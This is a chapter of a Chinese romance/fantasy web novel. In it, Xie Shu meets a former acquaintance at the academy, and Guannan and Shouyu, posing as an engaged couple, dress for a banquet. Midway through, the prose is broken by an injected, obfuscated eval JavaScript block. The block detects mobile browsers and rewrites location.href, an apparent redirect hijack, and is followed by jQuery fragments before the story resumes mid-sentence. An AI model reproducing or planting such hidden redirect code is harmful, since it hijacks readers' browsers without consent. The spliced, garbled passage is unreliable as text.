10. 少年剑

作品:《师伯你像我家狗

    大雨滂沱。将歇即是傍晚,已入戌时。


    谢婌在父母膝下哭了许久,被打发出来太学领书。淅沥小雨仍悬在头上,她撑着油纸伞嘟嘟囔囔地出了门,将长裙挽至腿弯间,一个个踮脚跳过洼沼。


    兰台路上稀疏燃起灯在门前,风中摇摇晃晃,一阵明灭。她寻着灯一路蹦哒过去,忽得察觉至什么,回首望去。


    身后兰台路直直一条,街上行人尽散。尽头皇宫巍峨耸立,朱红楹楣直掩在乌云里。一道雷破在朱雀门前,她哆嗦一下,忽得想起昔日与天子相拥抵足而眠的日子。


    接着涌上心头的便是恨。


    于是愤愤咬了下唇,摇头不再去想。待至太学门前收了伞,她方才记起脚上鞋袜已湿透了。一时颇有些无措,又听到门内诸子诵读之声。


    “……一家仁,一国兴仁;一家让,一国兴让;一人贪戾,一国作乱。”


    领读那人道:“所谓齐身治国平天下,便是如此。而欲其齐家者,先修其身……”


    原来学的是《大学》之道。谢婌悄悄破了窗纸往内看,屋中共五行四列,算上夫子共二十一位。


    他们还不下学么?她急得直跺脚。又忍不住挨个看一眼,那与父亲私交甚好的李夫子是哪个?这群人长得歪瓜裂枣的都一个样,怎地就不能将名字贴张纸在脸上呢?


    于是将伞寻了处位子放下,又扒住门框往里凑。


    忽听得有声自身后传来:“姑娘?”


    她惊了一跳,连连退了几步抚上心口,“做什么,骇死我哩!”


    眼前这人未曾想到她胆子这样小,又陡然间望到她的脸,一时怔怔立在原地。


    门内夫子听见声音出来,连忙走近:“谢姑娘,原来是你。怎地不进来?”


    谢婌正抬眼要答,却望见眼前人面容,愕然愣住。


    “原来是柳夫子。”那人同他见了好,见两人面面相觑,便道:“你二位相识么?”


    谢婌错眼:“我来替我阿父拿书。”


    柳粲然亦回过神。他正欲说本是旧时相熟,却看见谢婌扭头不愿见他的模样,心中苦笑一声。


    李夫子恍然几声,忙回身去取了。两人立在檐下,一时相对无言。


    忽得一阵大风来,刮得槐树枝桠狂舞,将谢婌立在墙边的伞吹起。谢婌惊呼一声忙要去拿,却被人拽住。


    那柄桃红色伞被卷至几十丈开外去,顷刻间不见踪影了。


    谢婌眼睁睁瞧着伞不见了,却不敢回头。只咬牙欲从他手中抽出,却挣脱不开。


    再使力,却是他先放了手。


    柳粲然抿唇道:“对不住。一时心急。”


    她讷讷收手,总觉得手腕间还圈着一层灼热。喉间仿佛堵着许多话要问他——你这几年可还过的好么?怎么就来了建康太学当夫子?家中长辈呢?


    却又不敢问,不敢瞧他的眼。


    大抵已十年了。他长得这样高,已经高出她一个头。又想起昔日别离时他哀哀一眼。似有千万语,临表也无言。


    所幸李夫子来得及时,她不敢再同他待下去,从人手中接过匆忙道了谢就要走。雨下得小了些,她正要急急忙忙闯进去,又被人拉住袖口。


    谢婌着实拿他没办法:“又怎地了?”


    “还下着雨呢。”你怎么还同以往一样冒失?这话在他喉咙里过了一遍,却并无资格出口。


    柳粲然只将伞递予她,“用我的罢。”


    她犹疑着:“那你——”


    他摇头:“我就住在太学。”


    旁的话多说无益了。谢婌不敢淋了父亲的书,接过伞时望见他手上已有深深浅浅的疤痕,也不似往日洁白了。


    便与他低声道了谢,终究是道:“你多保重。”


    柳粲然望着她远去,忽听见身旁同僚道:“谢府千金当真气派,出个门都要十几个侍卫跟着。”


    他信手一指,便见那黝黑府巷里蹿出十几人,跟在谢婌身后走了。


    同僚笑道:“见你二人似是旧相识,怎地不多述几句旧?”


    他无话可说。旧相识是真,可如今亦无旧可叙。


    摇摇头,复进屋内去了。


    此后只得是陌路人。


    这厢谢婌回了府中,眼角瞥见一行人在府门口接了班,心中嘟囔几句。


    手中青伞似有千斤重一般,扔了也不是放着也不是,只得叹气拿进屋了。


    半刻雨歇。


    江山不夜,月润万家。


    满堂浸润的月色照得湖光清晰鉴人,遍地洁白如雪,风静波平。守玉沐浴毕披了身衣裳,在假山旁坐下。


    不过半刻,一声鹰啸自月中来。黑鹰急急迫近,收了羽翼落在他手上。


    “来得倒是快。”他从兜里翻出块糖,递到鹰喙前。这鹰扑腾一下羽毛,纡尊降贵地张嘴吃了,才将爪中纸卷松开。


    守玉取来展开,看过几眼,便在手中燃了。


    “群芳宴……”他垂首喃喃片刻。这鹰转身来啄他,被他两只并住喙推开。“我晓得你想说什么,只是你主人都拦不住我,你也别想了。”


    “无非是说所谓前尘往事休要再提,两千年尘土寂灭,寻仇无用……”他嗤笑一声,将手中烟灰挥洒出去。


    “这算哪门子天命。凭什么我便不能寻?看着他尽将好处占了,如今逍遥人间,我却大恨难纾?”


    “俗人所求,不过爱欲,财物,权位——我一个不要,只要他偿命。若天命生来不公,又何须再信。”


    他平静道:“我若是信命,十五岁就该死了。”


    鹰自知劝不过他,叽叽叫了几声,又去桌上他包裹里翻糖吃。守玉摇摇头,正要去给它翻,却忽见那鹰连连扑棱羽翼往后退,露出碧绿色蛇头来。


    观南紧接着自假石探出头:“小白,小白?”


    守玉愕然抬眼。


    便见观南上前,提溜着蛇脖子将它提起,“你翻旁人包裹做什么,我何时短过你吃食了?”


    原来是在叫蛇。


    他默然片刻:“娘子。”这蛇又绿又青的,和白沾哪门子边?还不如小绿小青,且唤着更像狗了。


    观南叹气道:“怎么?”


    她方才见它要褪皮了,便想着动手帮它一二,谁知这蛇千般不愿,跟泥鳅一样到处乱窜。


    怎么偏偏叫小白?守玉难以启齿,哪怕换个旁的颜色呢。却终究只问:“怎么就叫小白了?”


    观南亦是颇为无奈:“它自己要的。”便唤它,小蓝,小绿,小黄……唯独到了小白,它才愿将蛇头扭过来,伸舌头舔她指尖。


    两人俱是无言。


    好罢。他总不能小气量到同一只尚未开化的蛇斤斤计较。正想着,那鹰跳上它肩头,居高临下般盯着观南。


    观南自是瞧见了这鹰,先前也未曾在他身边见过,想必又是昆仑仙物。正要说话,怀中蛇便警铃大作地弓起身,冲它嘶嘶叫起来。


    变故便在顷刻间。黑鹰倏然射出去,将青蛇按翻在地。观南一愣,忙将两兽分开:“打架做什么?”


    她腰侧包裹被翻了一地,滚落一把锈迹斑斑的小剑出来。


    守玉上前去拾起,忽觉得这剑眼熟极了。看制式亦非近朝物什,便回身递予她:“娘子,这是你的剑么?”


    观南正一手按住一个,半点眼神也不分给他。“我忘了,大抵是故人之物罢,劳烦你替我放进去。”


    青蛇还要挣扎,不安分地在她掌心下乱窜,被她结结实实敲晕了过去。这鹰浑身一震,又被她冷眼瞧过来,终于也老实不动了。


    她蹙眉道:“说好话不听,非要动手才安分。”


    忽觉掌心下一股异样,低头一看,青蛇竟是褪皮了。


    便松手,将青蛇提进怀里。回身见守玉已将她包裹收整好,便道谢接过:“多谢了。”


    守玉摇头。黑鹰浑身的毛炸起,飞上他肩头。观南瞥它一眼,又道:“方才我一时情急将它按在地上,对不住了。”


    守玉颇觉好笑:“娘子无需如此。往日昆仑山上都惯着它,今日下山一回才是见世面了。”


    眼角黑鹰颇不服气地来啄他,他避开,手中扇骨敲它脑袋:“你打不过别人,朝我撒气做什么?快些回去复命罢。”


    黑鹰叽叽喳喳几句,大抵是骂人的话,便展翅飞了。


    观南目送它远去,又想起地上还有小白所褪之皮。同守玉道别,便拾起进了屋里。


    刚披了发,忽得又忆起,照理说来,蛇妖一千年褪皮换骨,似乎她也该到了。


    总不会这般巧罢?


    她迟疑片刻,终究是摇摇头,将烛熄了。


    清宵烛长。有人魂游神山,有人混沌无梦。庭中残荷无人理会,只得怅恨深秋。


    .


    卯时将近,观南模模糊糊地醒来,将压在她身上的小白推开,起身下了床。


    今日正是群芳宴。


    所需衣物已在她房中,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107286|163938||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她先前未曾打量过,如今展开一看,是街上常见女子衣饰。


    谢允尚未成婚,她需得同守玉扮一对未婚夫妻。便将身上衣裳换过,一身鲜艳非常,金丝粼粼波光。


    她长发未束垂落腰间,立在镜前看了片刻,倒是新奇。


    只是她从未穿过衣裙,一时间颇有些不适。


    身下丝帛纤软,一阵风来能吹起一半,到时候若是打起来又该如何是好?观南犹疑半晌,终究没有再想。


    将梳妆台边金钗拿过来,一时间犯了难,这又该怎么簪?还有一堆细软花饰,看着就头大。


    她只得努力背手去试,金钗插入脑后青丝。回身往镜中看,只觉有些四不像了,看着怪别扭的。


    谢婌是寻不得的,这事不可告人,只得靠她自己。


    便绞尽脑汁回想:往日街上见着的未婚女子,都是怎么一派装束来着?


    观南正苦恼间,金钗咣当坠地,青丝也将将落了满肩。只得俯身去拾,无奈叹气一声。


    身边窗户忽得被叩响几声,守玉立在窗前,身影如松竹直直拓上。“娘子,你起了么?”


    “起了。”她顿了顿,终究道:“你会簪女子发式么?”


    他显然未曾料想这一问题,“兴许……不甚精通。”


    “劳烦你帮我一帮。”她推门出来,直直看着他:“我属实是一窍不通。”


    她将金钗递予他,亦将他上下打量一番。


    守玉已换上了那身深绯官袍,腰间革带紧束,翠玉系在身前,更衬得整个人落拓挺拔。


    群芳宴并非宫宴,因着未配进贤冠,只取了一根白玉簪簪住长发,其余的披在身后。


    一双天生的笑眼钩人,眼下小痣也成了锦上添花,一身江左少年风流。


    他这厢接了簪子,一阵无言,跟她入了屋。


    观南坐于镜前,乌发如瀑垂落。他立在她身后,颇觉有些无从下手了,只得先捏了梳子替她梳发。


    从头顶梳下,柔顺青丝从他指间滑落。他遏住心猿意马,道:“娘子,我替你梳垂鬟分肖髻,成么?”


    观南闻所未闻,仍道:“都成,多谢你了。”


    实则是他只会这一种,上一次替人梳发都是千年前师侄们的童子小髻了。守玉脑中翻腾片刻,那兰台路上的千金女子们,都怎么梳的来着?


    发分股,结鬟于头顶……


    这金钗还是他昨日新买的。长发被分开作两股,他一手握着金钗,冰凉手背从她耳边擦过,观南一顿,身后守玉指尖一颤。


    她忽侧脸道:“我看你买了耳铛,我要戴么?”


    耳铛?是了,当时东家挑了整整一套出来,他没甚细看就教人包起来了。


    便下意识往她耳边看去,长而卷的睫毛忽闪,再就是玉琢一样的肌肤,并无半点缺漏。


    怎么戴?她不是——没穿耳洞么。


    观南仿佛知他所想,道:“现穿一个也成。”


    她包里各类大小的针俱有,拿火一燎一扎,不过片刻的事。


    虽说直接以术法幻作面容也成。


    守玉吸气:“我听娘子的。”她呼出灼热气息尽数喷洒在他手上,他只愿她莫要再忽得扭头了。便伸指撩去她额前,将碎发挽回。


    不用托拄,使其自然垂下,并束结肖尾、垂于肩上……


    成了。他如蒙大赦地撒手退后。


    手背上仿佛依稀残存余温。


    观南只觉他冷玉一样的指自她眉间划过。她一直想问问他,怎么浑身上下都冷得仿佛冰做的人;此刻却又不宜,便起身看向镜中。


    大抵也称得上是明艳动人,姿容出色。她又不显年纪,看着倒真像是寻常未出阁的姑娘了。


    便回身问他:“怎么样?”


    实则问得是——看着像你未婚妻么?


    守玉望过来,只见她整个人焕然一新,身上衣裳璀璨非凡。青丝束作垂鬟分肖髻,倒是衬得一张脸愈发精致动人,额前红痣摄人心魄。


    她本就生得纤细高挑,肤色冷白如玉。如今稍作打扮,哪怕未施粉黛,也让人挪不开眼。


    胸中猛地一跳,一时滋味难言。便避开她的眼道:“自是不错的。”


    观南便放下心来。守玉眼睁睁看着她自包裹里掏出针来烧热,直直往耳垂穿去。


    她面上却波澜不惊不显分毫,帕子拭了血,便取了那对银边蓝宝石耳铛戴上,又端起口脂往唇上一抿,道:“走罢。”